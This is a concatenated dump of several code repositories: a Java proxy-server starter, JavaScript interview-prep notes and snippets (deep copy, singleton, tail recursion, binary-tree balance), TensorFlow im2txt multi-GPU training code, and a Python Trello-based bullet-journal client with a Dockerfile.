lsy.station.StationHttpClientManager; /** * Created with IntelliJ IDEA. * User: Administrator * Date: 14-7-16 * Time: 上午10:55 * To change this template use File | Settings | File Templates. */ public class Manager { final StationHttpProxyServer proxyServer = new StationHttpProxyServer(); StationHttpClientManager httpClientManager = new StationHttpClientManager(); public void shutdown() { proxyServer.shutdown(); } public void start() { new Thread(new Runnable() { public void run() { try { proxyServer.start(httpClientManager); } catch (Exception e) { e.printStackTrace(); //To change body of catch statement use File | Settings | File Templates. } } }).start(); // ConsoleThread consoleThread = new ConsoleThread(this); // consoleThread.start(); // System.out.println( "Hello World!" ); } }
dbb6acf1927c2b3dc6be02741bd2e217b6b48d11
[ "Markdown", "Java", "Maven POM" ]
43
Java
emirbobo/helloworld
7affa810f4d788128a8f557153dc2c397b39e2d5
7501e6913afe20b543f2242810dce707148df76f
refs/heads/master
<file_sep>搬运自 https://github.com/DMQ/mvvm <file_sep>``` NaN === NaN false isNaN('ss') true Number.isNaN('ss') false Number.isNaN(NaN) ```<file_sep>https://www.linkedin.com/pulse/difference-between-mvc-mvp-mvvm-swapneel-salunkhe https://medium.com/@ankit.sinhal/mvc-mvp-and-mvvm-design-pattern-6e169567bbad Some basic differences can be written in short: MVC: Traditional MVC is where there is a Model: Acts as the model for data View : Deals with the view to the user which can be the UI Controller: Controls the interaction between Model and View, where view calls the controller to update model. View can call multiple controllers if needed. MVP: Similar to traditional MVC but Controller is replaced by Presenter. But the Presenter, unlike Controller is responsible for changing the view as well. The view usually does not call the presenter. MVVM The difference here is the presence of View Model. It is kind of an implementation of Observer Design Pattern, where changes in the model are represented in the view as well, by the VM. Eg: If a slider is changed, not only the model is updated but the data which may be a text, that is displayed in the view is updated as well. So there is a two-way data binding.<file_sep>// 浮点数相加 // string add // '13233.122', '212222.933', '0.9' function add(...args) { return args.reduce((acc, cur) => { return addTwo(acc, cur) }, '') } function addTwo (a, b) { const [aInt, aDecimal] = a.split('.') const [bInt, bDecimal] = b.split('.') const [carryDecimal, resultDecimal] = addBase(aDecimal, bDecimal, false) const [carryInt, resultInt] = addBase(aInt, bInt) const [c, r] = addBase(`${carryInt > 0 ? carryInt : ''}${resultInt}`, carryDecimal.toString()) return `${c > 0 ? c : ''}${r}${resultDecimal && '.'}${resultDecimal}` } function addBase(a, b, alignRight = true) { if (!a || !b) { return [0, a || b || ''] } let aArr = a.split('') let bArr = b.split('') const maxLen = Math.max(aArr.length, bArr.length) let carry = 0 let result = '' for (let i = maxLen - 1; i >= 0; i--) { let aVal let bVal if (alignRight) { aVal = aArr[i - maxLen + aArr.length] bVal = bArr[i - maxLen + bArr.length] } else { aVal = aArr[i] bVal = bArr[i] } aVal = Number(aVal || 0) bVal = Number(bVal || 0) const total = aVal + bVal + carry carry = Math.floor((total) / 10) rest = total % 10 result = `${rest}${result}` } return [carry, result] } console.log(add('13233.122', '212222.933', '0.9')) <file_sep>// 给定一个二叉树,判断它是否是高度平衡的二叉树。 // 本题中,一棵高度平衡二叉树定义为: // 一个二叉树每个节点 的左右两个子树的高度差的绝对值不超过 1 。 // 1 5 // / \ / \ // 2 3 3 4 // / \ / \ // 4 5 8 9 // https://leetcode-cn.com/problems/balanced-binary-tree/ function isBalanced (tree) { function height (tree) { if (!tree) return 0 const leftHeight = height(tree.left) const rightHeight = height(tree.right) // 用 -1表示不平衡 if (leftHeight === -1) return -1 if (rightHeight === -1) return -1 if (Math.abs(leftHeight - rightHeight) <= 1) { return Math.max(leftHeight, rightHeight) + 1 } return -1 } return height(tree) !== -1 } <file_sep>搬运自 https://hackernoon.com/understanding-js-the-event-loop-959beae3ac40 <file_sep>http://louiszhai.github.io/2016/01/11/cross-domain/#%E4%BD%BF%E7%94%A8%E4%BB%A3%E7%90%86 <file_sep># 实现对象深拷贝 满足以下条件: 1. 不拷贝原型链上的属性和方法 2. 改变一个对象的属性和方法不会影响拷贝对象 ```javascript // 深拷贝 function copyFunction(fn) { // closest thing possible to the ECMAScript 5 // internal IsCallable function if (typeof fn !== 'function') { throw new Error('arguments error - what is trying to be copy is not callable'); } if (/\[native code\]/.test(fn.toString())) { if (/bound\s/.test(fn.name)) { // bind fn return fn.bind(); } // if native code return fn; } return new Function(`return ${fn.toString()}`)(); } function deepCopy(o) { // avoid circular reference // todo if(o === null || typeof o !== 'object' ) { // if not array or object return o; } const fn = o.constructor; let copyObj = null; switch (Object.prototype.toString.call(o)) { case '[object Function]': { copyObj = copyFunction(o); break; } case '[object RegExp]': case '[object Date]': { copyObj = new fn(o); break; } default: { copyObj = new fn(); } } for (let key in o) { if (o.hasOwnProperty(key)) { copyObj[key] = deepCopy(o[key]); } } } ``` 其他实现: * https://github.com/pvorb/clone 针对Event的对象,copy的结果不理想,在原型上的属性拷贝的值相当于是从__prop__直接拿的值,和从对象访问的值有时候是有差异的,比如一些计算的属性等。 * https://github.com/sasaplus1/deepcopy.js/ 针对Event的对象,deepcopy可以很好work,但copy的对象保留了原本的原型链。有时为了让对象stringify。需要对象的属性own self. * lodash _.cloneDeep 针对Event的对象 cloneDeep返回为{} <file_sep># 为什么浏览器匹配css是从右到左的? https://stackoverflow.com/questions/5797014/why-do-browsers-match-css-selectors-from-right-to-left 简言之就是 浏览器css匹配核心算法的规则是以 right-to-left 方式匹配节点的。 这样做是为了使规则能够快、准、狠地与render树上的节点匹配,通俗地将就是 就近原则。 试想一下,如果采用 left-to-right 的方式读取css规则,那么大多数规则读到最后(最右)才会发现是不匹配的,这样会做费时耗能,最后有很多都是无用的;而如果采取 right-to-left 的方式,那么只要发现最右边选择器不匹配,就可以直接舍弃了,避免了许多无效匹配。 显而易见,right-to-left 比 left-to-right 的无效匹配次数更少,从而匹配快、性能更优,所以目前主流的浏览器基本采取right-to-left的方式读取css规则。<file_sep> ```javascript const Singleton = (function IIFE() { let instance; // const createSingleton = function() { if (instance) { return instance; } return instance = this; } createSingleton.prototype = { ...createSingleton, // 其他属性 } return createSingleton; })(); ``` ```java public class Singleton { private Singleton() { } private static class SingletonInternal { private static Singleton singleton = new Singleton(); } public static Singleton getInstance() { return SingletonInternal.singleton; } } ```<file_sep>// 给定asyncAdd, 用asyncAdd求sum函数 function asyncAdd(a, b, callback) { setTimeout(function () { callback(null, a + b); }, 1000); } // await sum(...args) async function sum (...args) { const queue = [...args] let pendingCount = 0 return new Promise((resolve) => { function loop () { if (queue.length === 1 && pendingCount === 0) { resolve(queue[0]) } if (queue.length > 1) { const val1 = queue.shift() const val2 = queue.shift() pendingCount++ asyncAdd(val1, val2, (_, total) => { queue.push(total) console.log('total', total, queue) pendingCount-- loop() }) } } if (queue.length % 2 !== 0) { queue.unshift(0) } while (queue.length > 0) { loop() } }) } <file_sep># 尾递归 > 在计算机学里,尾调用是指一个函数里的最后一个动作是返回一个函数的调用结果的情形,即最后一步新调用的返回值直接被当前函数的返回结果。此时,该尾部调用位置被称为尾位置。尾调用中有一种重要而特殊的情形叫做尾递归。 ## 线性递归 ```javascript function add(numArr, sum = 0) { if (numArr.length === 1) { return sum + numArr[0]; } return add(numArr.slice(1), sum + numArr[0]); } ``` ## 尾递归 ```javascript function add(numArr) { if (numArr.length === 1) { return numArr[0]; } return numArr[0] + add(numArr.slice(1)); } ``` 一般递归都会维护一个调用栈,维护调用栈的主要原因是,栈需要保存一些数据。比如在本文的例子中,线性递归在每一个栈中需要维护值 `numArr[0]` 。而尾递归则不需要,因为它所有需要的值都以参数的形式传递下去了,这其实有点循环的意味。 <file_sep>// http://krasimirtsonev.com/blog/article/JavaScript-bind-function-setting-a-scope <file_sep># 函数拷贝 https://stackoverflow.com/questions/1833588/javascript-clone-a-function ```javascript function copyFunction(fn) { // closest thing possible to the ECMAScript 5 // internal IsCallable function if (typeof fn !== 'function') { throw new Error('arguments error - what is trying to be copy is not callable'); } if (/\[native code\]/.test(fn.toString())) { if (fn.name === 'bound ') { // bind fn return fn.bind(); } // if native code return fn; } return new Function(`return ${fn.toString()}`)(); } ``` <file_sep>function create(o, propsObject) { function F(propsObject) { Object.defineProperties(this, propsObject); } F.prototype = o; return new F(propsObject); } Person.prototype = Object.assign(Person.prototype, { }) <file_sep>本文搬运自https://www.promisejs.org/implementing/ # 三步走: 1. 状态机 2. .done事件订阅 3. .then事件订阅 <file_sep> https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scoping ### Lexical scope vs. dynamic scope A fundamental distinction in scoping is what "part of a program" means. In languages with lexical scope (also called static scope), name resolution depends on the location in the source code and the lexical context, which is defined by where the named variable or function is defined. In contrast, in languages with dynamic scope the name resolution depends upon the program state when the name is encountered which is determined by the execution context or calling context. In practice, with lexical scope a variable's definition is resolved by searching its containing block or function, then if that fails searching the outer containing block, and so on, whereas with dynamic scope the calling function is searched, then the function which called that calling function, and so on, progressing up the call stack.[4] Of course, in both rules, we first look for a local definition of a variable. Most modern languages use lexical scoping for variables and functions, though dynamic scoping is used in some languages, notably some dialects of Lisp, some "scripting" languages, and some template languages. [c] Perl 5 offers both lexical and dynamic scoping. Even in lexically scoped languages, scope for closures can be confusing to the uninitiated, as these depend on the lexical context where the closure is defined, not where it is called. Lexical resolution can be determined at compile time, and is also known as early binding, while dynamic resolution can in general only be determined at run time, and thus is known as late binding.<file_sep>// middleware compose <file_sep>搬运自 https://medium.com/dailyjs/i-never-understood-javascript-closures-9663703368e8 http://davidshariff.com/blog/what-is-the-execution-context-in-javascript/ execution context 和 call stack 的关系是什么?<file_sep>https://stackoverflow.com/questions/16521471/relation-between-commonjs-amd-and-requirejs
a989004d99ab342e7f73ae731c8ab8cb51cf60b9
[ "Markdown", "JavaScript" ]
20
Markdown
keshidong/FK-Interview
e58483d77c9a006392eb0ef292e3c5d345630d63
1242389bee5175319f6887c5627db09c2907196f
refs/heads/master
<repo_name>yadnyesh/pythonblockchain<file_sep>/blockchain.py blockchain = [10] def get_last_blockchain_value(): return blockchain[-1] def add_value(transaction_amount, last_transaction=get_last_blockchain_value()): blockchain.append([last_transaction, transaction_amount]) print(blockchain) def get_user_input(): return float(input('Please enter the transaction amount: ')) tx_amount = get_user_input() add_value(float(tx_amount), [1]) add_value(0.9, get_last_blockchain_value()) add_value(10.89, get_last_blockchain_value()) for block in blockchain: print('Outputting Block') print(block)<file_sep>/README.md #### Learning Python by building Blockchain!
25ce88950f5f78b74c5c2951e5b52f25ea9fdf0f
[ "Markdown", "Python" ]
2
Python
yadnyesh/pythonblockchain
6228e33d638092a089805894f7f3ae1b4d8b0706
9c3897c63e64767859b19c7fc9e77a906906e012
refs/heads/master
<file_sep>import os import time import uuid import random import psycopg2 import threading import concurrent.futures from dotenv import load_dotenv from datetime import datetime, timedelta from psycopg2.extras import execute_batch MAX_USERS = 500000 MAX_CATEGORIES = 5000 MAX_MESSAGES = 10000000 T_START = datetime(2010, 1, 1, 00, 00, 00) T_END = T_START + timedelta(days=365 * 10) load_dotenv(dotenv_path='.env') def timeit(method): def timed(*args, **kwargs): time_start = time.time() result = method(*args, **kwargs) time_end = time.time() print(method.__name__, ' for ', get_work_time(time_start, time_end)) return result return timed def get_work_time(time_start, time_end): total_time = time_end - time_start total_time_int = int(total_time) total_time_float = total_time - total_time_int min_availability = False if total_time_int > 59: total_time_minutes = total_time_int // 60 total_time_int -= total_time_minutes * 60 min_availability = True if min_availability: time_string = "%s минут, %s секунд, %s миллисекунд" % (total_time_minutes, total_time_int, total_time_float) else: time_string = "%s секунд, %s миллисекунд" % (total_time_int, total_time_float) return time_string @timeit def author_uuid_creation(): author_uuid = [str(uuid.uuid4()) for i in range(MAX_USERS)] return author_uuid @timeit def category_uuid_creation(): category_uuid = [str(uuid.uuid4()) for i in range(MAX_CATEGORIES)] return category_uuid @timeit def message_uuid_creation(): message_uuid = [str(uuid.uuid4()) for i in range(MAX_MESSAGES)] return message_uuid @timeit def containing_users_list(author_uuid): for i in range(MAX_USERS): yield author_uuid[i], 'User_' + str(i + 1) @timeit def containing_categories_list(category_uuid): for i in range(MAX_CATEGORIES): yield category_uuid[i], 'Category_' + str(i + 1), category_uuid[i] @timeit def containing_messages_list(message_uuid, category_uuid, author_uuid): for i in range(MAX_MESSAGES): yield message_uuid[i], 'Text_' + str(i + 1), random.choice(category_uuid), T_START + ( T_END - T_START) * random.random(), random.choice(author_uuid) @timeit def data_base_connecting(): con = psycopg2.connect( host=os.getenv("PG_HOST"), database=os.getenv("PG_DATABASE"), user=os.getenv("PG_USER"), password=<PASSWORD>("<PASSWORD>"), port=os.getenv("PG_PORT")) cur = con.cursor() return con, cur @timeit def inserting_users_data(cur, author_uuid): cur.execute("PREPARE us AS INSERT INTO users VALUES($1, $2)") containing_function = containing_users_list(author_uuid) execute_batch(cur, "EXECUTE us (%s, %s)", iter(containing_function)) @timeit def inserting_categories_data(cur, category_uuid): cur.execute("PREPARE cat AS INSERT INTO categories VALUES($1, $2, $3)") containing_function = containing_categories_list(category_uuid) execute_batch(cur, "EXECUTE cat (%s, %s, %s)", iter(containing_function)) @timeit def inserting_messages_data(cur, message_uuid, category_uuid, author_uuid): cur.execute("PREPARE mes AS INSERT INTO messages VALUES($1, $2, $3, $4, $5)") containing_function = containing_messages_list(message_uuid, category_uuid, author_uuid) execute_batch(cur, "EXECUTE mes (%s, %s, %s, %s, %s)", iter(containing_function)) @timeit def commit_and_close(con, cur): con.commit() cur.close() con.close() @timeit def main(): with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor: thread_1 = executor.submit(author_uuid_creation) thread_2 = executor.submit(category_uuid_creation) thread_3 = executor.submit(message_uuid_creation) author_uuid = thread_1.result() category_uuid = thread_2.result() message_uuid = thread_3.result() con, cur = data_base_connecting() thread_1 = threading.Thread(target=inserting_users_data, args=(cur, author_uuid)) thread_2 = threading.Thread(target=inserting_categories_data, args=(cur, category_uuid)) thread_3 = threading.Thread(target=inserting_messages_data, args=(cur, message_uuid, category_uuid, author_uuid)) thread_1.start() thread_2.start() thread_1.join() thread_2.join() thread_3.start() thread_3.join() commit_and_close(con, cur) main()
0f84156a0d5ed51449b4eb2ec19d9ba124f820af
[ "Python" ]
1
Python
Vova-Sanya/Data_Generator_For_PostrgeSQL
dc231cd98955fa3ff5007fee3733cfa5c43a0d58
52bc2d8d088b1fa06adab418ad502584a3cb22cd
refs/heads/master
<repo_name>WILLBER-cod/HomeWork<file_sep>/New Unity Project/Assets/Script/EnemyMovement.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class EnemyMovement : MonoBehaviour { [SerializeField] private Transform _enemypath; [SerializeField] private float _speed; private Transform[] _enemypoints; private int _enemyindex; private void Start() { _enemypoints = new Transform[_enemypath.childCount]; for (int i = 0; i < _enemypath.childCount; i++) { _enemypoints[i] = _enemypath.GetChild(i); } } private void Update() { Transform Enemytarget = _enemypoints[_enemyindex]; transform.position = Vector3.MoveTowards(transform.position, Enemytarget.position, _speed * Time.deltaTime); if(transform.position == Enemytarget.position) { _enemyindex ++; if (_enemyindex >= _enemypoints.Length) _enemyindex = 0; } } } <file_sep>/New Unity Project/Assets/Script/SpawnPoint.cs using System.Collections; using System.Collections.Generic; using UnityEngine; public class SpawnPoint : MonoBehaviour { [SerializeField] private Transform _path; [SerializeField] private GameObject _target; private Transform[] _points; private int _index; private void Start() { _points = new Transform[_path.childCount]; for(int i = 0; i < _path.childCount; i++) { _points[i] = _path.GetChild(i); } } private void Update() { if( _index != _path.childCount) Spawn(); } private void Spawn() { Transform Target = _points[_index]; Instantiate(_target, Target.position, Quaternion.identity); _index++; } } <file_sep>/New Unity Project/Assets/Script/Movement.cs using System.Collections; using System.Collections.Generic; using UnityEngine; [RequireComponent(typeof(Animator))] [RequireComponent(typeof(Rigidbody2D))] public class Movement : MonoBehaviour { [SerializeField] private float _speed; [SerializeField] private float _jumpForce; private Animator _anim; private Rigidbody2D _body; private void Start() { _anim = GetComponent<Animator>(); _body = GetComponent<Rigidbody2D>(); } private void Update() { if (Input.GetKey(KeyCode.D)) { IsRun(true); } else if (Input.GetKey(KeyCode.A)) { IsRun(false); } else _anim.SetBool("Run", false); if (Input.GetKeyDown(KeyCode.Space)) _body.AddForce(Vector2.up * _jumpForce, ForceMode2D.Impulse); } private void IsRun(bool IsRight = false) { _anim.SetBool("Run", true); if( IsRight == true) transform.Translate(Vector2.right * _speed * Time.deltaTime); else transform.Translate(Vector2.left * _speed * Time.deltaTime); } }
f2eebc462ae5a85f1546b8ca13d7957a2b0c120f
[ "C#" ]
3
C#
WILLBER-cod/HomeWork
7dd765c205cc947a7e9f36725849aeb996d583fd
3f438cc7def68c5fea24bc79df1246bb4742caf3
refs/heads/master
<repo_name>denglixi/im2txt<file_sep>/train.sh ######################################################################### # File Name: train.sh # Author: <NAME> # mail: <EMAIL> # Created Time: 2016年12月27日 星期二 20时13分26秒 ######################################################################### #!/bin/bash # Directory containing preprocessed MSCOCO data. MSCOCO_DIR="/PublicData/DataSets/ImageCaptionData/CoCo/tensorflowFormat" # Inception v3 checkpoint file. INCEPTION_CHECKPOINT="/PublicData/Models/TensorFlowModel/inceptionV3/inception_v3.ckpt" # Directory to save the model. MODEL_DIR="/home/dlx/ExperimentsResults/NIC/" # Build the model. bazel build -c opt im2txt/... # Run the training script. bazel-bin/im2txt/train_multi_gpu \ --input_file_pattern="${MSCOCO_DIR}/train-?????-of-00256" \ --inception_checkpoint_file="${INCEPTION_CHECKPOINT}" \ --train_dir="${MODEL_DIR}/train" \ --train_inception=false \ --number_of_steps=1000000 \ --num_gpus=1 <file_sep>/im2txt/train_multi_gpu.py #global_steoi Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Train the model.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf from im2txt import configuration from im2txt import show_and_tell_model_multi_gpu as show_and_tell_model FLAGS = tf.app.flags.FLAGS tf.flags.DEFINE_string("input_file_pattern", "", "File pattern of sharded TFRecord input files.") tf.flags.DEFINE_string("inception_checkpoint_file", "", "Path to a pretrained inception_v3 model.") tf.flags.DEFINE_string("train_dir", "", "Directory for saving and loading model checkpoints.") tf.flags.DEFINE_boolean("train_inception", False, "Whether to train inception submodel variables.") tf.flags.DEFINE_integer("number_of_steps", 1000000, "Number of training steps.") tf.flags.DEFINE_integer("log_every_n_steps", 1, "Frequency at which loss and global step are logged.") tf.flags.DEFINE_integer("num_gpus", 1, """How many GPUs to use.""") tf.logging.set_verbosity(tf.logging.INFO) def tower_loss(scope,model_config): """ """ model = show_and_tell_model.ShowAndTellModel(model_config, mode="train", train_inception=FLAGS.train_inception) model.build() return model.total_loss def average_gradients(tower_grads): """ """ average_grads = [] for grad_and_vars in zip(*tower_grads): # grad_and_vars shoudl be ((grad0_gpu0, var0_gpu0), ... , (grad0_gpuN, var0_gpuN)) grads = [] for g, _ in grad_and_vars: expand_g = tf.expand_dims(g, 0) grads.append(expand_g) grad = tf.concat_v2(grads, 0) grad = tf.reduce_mean(grad, 0) # variable are redundant v = grad_and_vars[0][1] grad_and_var = (grad, v) average_grads.append(grad_and_var) return average_grads def main(unused_argv): assert FLAGS.input_file_pattern, "--input_file_pattern is required" assert FLAGS.train_dir, "--train_dir is required" model_config = configuration.ModelConfig() model_config.input_file_pattern = FLAGS.input_file_pattern model_config.inception_checkpoint_file = FLAGS.inception_checkpoint_file training_config = configuration.TrainingConfig() # Create training directory. train_dir = FLAGS.train_dir if not tf.gfile.IsDirectory(train_dir): tf.logging.info("Creating training directory: %s", train_dir) tf.gfile.MakeDirs(train_dir) # Build the TensorFlow graph. g = tf.Graph() with g.as_default(), tf.device("/cpu:0"): model = show_and_tell_model.ShowAndTellModel(model_config, mode="train", train_inception=FLAGS.train_inception) model.build() tf.get_variable_scope().reuse_variables() #global_step = tf.get_variable( # 'global_step', [] ,dtype=tf.int32,initializer=tf.constant_initializer(0,dtype=tf.int32), trainable=False) global_step = tf.Variable( initial_value=0, name="global_step", trainable=False, collections=[tf.GraphKeys.GLOBAL_STEP, tf.GraphKeys.GLOBAL_VARIABLES]) # Build the model. #model = show_and_tell_model.ShowAndTellModel( # model_config, mode="train", train_inception=FLAGS.train_inception) #model.build() #www = tf.get_variable("test", [], tf.int32,tf.constant_initializer(0)) # Set up the learning rate. learning_rate_decay_fn = None if FLAGS.train_inception: learning_rate = tf.constant(training_config.train_inception_learning_rate) else: learning_rate = tf.constant(training_config.initial_learning_rate) if training_config.learning_rate_decay_factor > 0: num_batches_per_epoch = (training_config.num_examples_per_epoch / model_config.batch_size) decay_steps = int(num_batches_per_epoch * training_config.num_epochs_per_decay) tf.train.assert_global_step(global_step) lr = tf.train.exponential_decay( learning_rate, global_step, decay_steps=decay_steps, decay_rate=training_config.learning_rate_decay_factor, staircase=True) opt = tf.train.GradientDescentOptimizer(lr) tower_grads = [ ] losses = [] #num_gpus = tf.get_variable("num_gpus",[],tf.int32,tf.constant_initializer(FLAGS.num_gpus)) def _clip_gradients_by_norm(grads_and_vars, clip_gradients): g,v = zip(*grads_and_vars) clip_gradients,_ = tf.clip_by_global_norm(g,clip_gradients) return list(zip(clip_gradients, v)) for i in xrange(FLAGS.num_gpus): with tf.device("/gpu:%d" % i): with tf.name_scope("%s_%d" %("tower", i)) as scope: loss = tower_loss(scope,model_config) tf.get_variable_scope().reuse_variables() grads = opt.compute_gradients(loss) grads = _clip_gradients_by_norm( grads, training_config.clip_gradients) tower_grads.append(grads) losses.append(loss) grads = average_gradients(tower_grads) for grad ,var in grads: if grad is not None: tf.summary.histogram(var.op.name + '/gradients',grad) apply_gradient_op = opt.apply_gradients(grads,global_step=global_step) losses = tf.divide(tf.add_n(losses),FLAGS.num_gpus) #def with_dependencies(dependencies, output_tensor): # with tf.control_dependencies(dependencies): # return output_tensor #train_op = with_dependencies([apply_gradient_op], losses) train_op = apply_gradient_op # Set up the training ops. #train_op = tf.contrib.layers.optimize_loss( # loss=total_loss, # global_step=global_step, # learning_rate=learning_rate, # optimizer=training_config.optimizer, # clip_gradients=training_config.clip_gradients, # learning_rate_decay_fn=learning_rate_decay_fn) # Set up the Saver for saving and restoring model checkpoints. saver = tf.train.Saver(max_to_keep=training_config.max_checkpoints_to_keep) inception_variables = tf.get_collection( tf.GraphKeys.GLOBAL_VARIABLES,scope="InceptionV3") #for v in inception_variables: # print(v.device,v.name) #return saver_inceptionV3 = tf.train.Saver(inception_variables) def restore_fn(sess): tf.logging.info("**************************************************************************************") tf.logging.info("Restoring Inception from file") tf.logging.info("**************************************************************************************") saver_inceptionV3.restore(sess,FLAGS.inception_checkpoint_file) init_fn = restore_fn config = tf.ConfigProto( allow_soft_placement=True, log_device_placement=False) config.gpu_options.allow_growth = True # Run training. #set up inception v3 #saver_inceptionV3 = tf.train.Saver(inception_variables) init = tf.global_variables_initializer() sess = tf.Session(config=config) sess.run(init) tf.train.start_queue_runners(sess=sess) restore_fn(sess) for step in xrange(100000): _, loss_value,gstep = sess.run([train_op,losses, global_step]) if step %10 == 0: print("loss:",loss_value) print("global_step:",gstep) tf.contrib.slim.learning.train( train_op, train_dir, log_every_n_steps=FLAGS.log_every_n_steps, graph=g, global_step=global_step, number_of_steps=FLAGS.number_of_steps, init_fn=init_fn, saver=saver, session_config=config) if __name__ == "__main__": tf.app.run() <file_sep>/im2txt/test_input.py #!/usr/bin/env python #-*-coding:utf-8-*- ######################################################################### # > File Name: test_input.py # > Author: <NAME> # > Mail: <EMAIL> # > Created Time: 2017年01月04日 星期三 15时47分00秒 ######################################################################### """ MSCOCO_DIR="/PublicData/DataSets/ImageCaptionData/CoCo/tensorflowFormat" bazel-bin/im2txt/train \ --input_file_pattern="${MSCOCO_DIR}/train-?????-of-00256" \ --inception_checkpoint_file="${INCEPTION_CHECKPOINT}" \ --train_dir="${MODEL_DIR}/train" \ --train_inception=false \ --number_of_steps=1000000 """ import tensorflow as tf from ops import inputs as input_ops MSCOCO_DIR="/PublicData/DataSets/ImageCaptionData/CoCo/tensorflowFormat" input_file_pattern = MSCOCO_DIR + "/train-?????-of-00256" def main(): reader = tf.TFRecordReader() data_file = [] data_file.extend(tf.gfile.Glob(input_file_pattern)) print data_file #filename_queue = tf.train.string_input_producer() #input_queue = input_ops.prefetch_input_data() pass if __name__ == '__main__': main()
37447dcfba7a50b0237c773e2a00dd4038c76533
[ "Python", "Shell" ]
3
Shell
denglixi/im2txt
5c6cb30c0367b4a67d10e50495586268f0f9a0ae
6101312b60f3284e2925882c9119d0d880a6d003
refs/heads/master
<repo_name>floscha/bello<file_sep>/bello/src/run.py import sys from client import cli from client.server import app as server if __name__ == '__main__': args = sys.argv[1:] mode = args[0] if mode == 'server': # Run web server. server.run(host='0.0.0.0', debug=True) else: # Run standalone CLI. cli.run() <file_sep>/bello/Dockerfile FROM python:3.6-alpine # Build Trello client from source since pypi repo is outdated. RUN apk add --update git \ && git clone https://github.com/sarumont/py-trello.git \ && pip install -e /py-trello \ && apk del git \ && rm -rf /var/cache/apk/* # Install other dependencies. WORKDIR /app ADD requirements.txt /app RUN cd /app && \ pip install -r requirements.txt # Add actual source code. ADD src /app/src EXPOSE 5000 ENTRYPOINT ["python", "src/run.py"] CMD [] <file_sep>/bello/src/trello_facade/trello_facade.py import calendar from datetime import datetime import os from trello import TrelloClient class TrelloFacade(object): """A simple fascade for communicating with the Trello API.""" def __init__(self): """Initialize a new TrelloFacade instance.""" self.trello = self._init_trello_client() def _init_trello_client(self): # Read API keys from env. api_key = os.environ['TRELLO_API_KEY'] api_secret = os.environ['TRELLO_API_SECRET'] token = os.environ['TRELLO_TOKEN'] token_secret = os.environ['TRELLO_TOKEN_SECRET'] trello_client = TrelloClient( api_key=api_key, api_secret=api_secret, token=token, token_secret=token_secret ) return trello_client def _day_name_from_int(self, weekday_number): if weekday_number < 1 or weekday_number > 7: raise ValueError("Weekday number has to be >= 1 and <= 7") day_name = calendar.day_name[weekday_number - 1] return day_name def _create_clean_board(self, name): created_board = self.trello.add_board(name) # Clean up lists Trello creates by default. for l in created_board.all_lists(): l.close() return created_board def _find_boards_by_name(self, name): """Find all boards with the given name.""" boards = self.trello.list_boards() res = [b for b in boards if b.name == name] return res def _find_board_by_name(self, name, create=False): """Find a single board with the given name.""" candidates = self._find_boards_by_name(name) if len(candidates) == 0: if create: created_board = self._create_clean_board(name) return created_board else: raise Exception("No board '%s' found" % name) elif len(candidates) > 1: raise Exception("Multiple boards '%s' found" % name) else: # Excactly one list found. return candidates[0] def _find_lists_by_name(self, board, name): """Find all lists with the given name.""" lists = board.all_lists() res = [l for l in lists if l.name == name] return res def _create_list_for_week(self, board, list_name): """Create a Trello list for a week and all its days.""" created_list = board.add_list(list_name) # Create first card for general stuff. created_card = created_list.add_card('General') for day in calendar.day_name: created_card = created_list.add_card(day) created_card.add_checklist(title='Tasks', items=[]) return created_list def _find_list_by_name(self, board, name, create=False): """Find a single list with the given name.""" candidates = self._find_lists_by_name(board, name) if len(candidates) == 0: if create: created_list = self._create_list_for_week(board, name) return created_list else: raise Exception("No list '%s' in board '%s' found" % (name, board)) elif len(candidates) > 1: raise Exception("Multiple lists '%s' in board '%s' found" % (name, board)) else: # Excactly one list found. return candidates[0] def _find_cards_by_name(self, list_, name): """Find all cards with the given name.""" cards = list_.list_cards() res = [c for c in cards if c.name == name] return res def _find_card_by_name(self, list_, name): """Find a single card with the given name.""" candidates = self._find_cards_by_name(list_, name) if len(candidates) == 0: raise Exception("No card '%s' in list '%s' found" % (name, list_)) elif len(candidates) > 1: raise Exception("Multiple cards '%s' in list '%s' found" % (name, list_)) else: # Excactly one card found. return candidates[0] def _get_week_list_string(self, year, week): year_and_week = '%d-%d' % (year, week) week_start_date = datetime.strptime(year_and_week + '-1', '%Y-%W-%u') week_start_date_string = datetime.strftime( week_start_date, '%d. %b' ) week_end_date = datetime.strptime(year_and_week + '-7', '%Y-%W-%u') week_end_date_string = datetime.strftime( week_end_date, '%d. %b' ) list_name = 'Week %d (%s - %s)' % (week, week_start_date_string, week_end_date_string) return list_name def _get_checklist(self, year, week, day): board_name = 'Bullet Journal %d' % year board = self._find_board_by_name(board_name, create=True) list_name = self._get_week_list_string(year, week) list_ = self._find_list_by_name(board, list_name, create=True) card_name = self._day_name_from_int(day) card = self._find_card_by_name(list_, card_name) # FIXME Necessary to retrieve checklists?! card.checklists # Assume a card has excactly one checklist. checklist = card.checklists[0] return checklist def _get_tasks_from_checklist(self, checklist): """Turn a Trello checklist into a list of task dictionaries.""" checklist_items = checklist.items tasks = [{'name': ci['name'], 'done': ci['checked']} for ci in checklist_items] return tasks def get_tasks(self, year, week, day): """Get a list of tasks for the current day.""" checklist = self._get_checklist(year, week, day) tasks = self._get_tasks_from_checklist(checklist) return tasks def add_task(self, year, week, day, name): """Create a new task.""" checklist = self._get_checklist(year, week, day) checklist.add_checklist_item(name) created_checklist_item = checklist.items[-1] created_task = {'name': created_checklist_item['name'], 'done': created_checklist_item['checked']} return created_task def update_task(self, year, week, day, name, done): """Change an existing task.""" checklist = self._get_checklist(year, week, day) checklist_item_index = checklist._get_item_index(name) if checklist_item_index: checklist.set_checklist_item(name, done) else: raise ValueError("Task with name '%s' does not exist" % name) updated_checklist_item = checklist.items[checklist_item_index] updated_task = {'name': updated_checklist_item['name'], 'done': updated_checklist_item['checked']} return updated_task def delete_task(self, year, week, day, name): """Delete an existing task.""" checklist = self._get_checklist(year, week, day) checklist_item_index = checklist._get_item_index(name) if checklist_item_index: checklist_item_to_delete = checklist.items[checklist_item_index] checklist.delete_checklist_item(name) else: 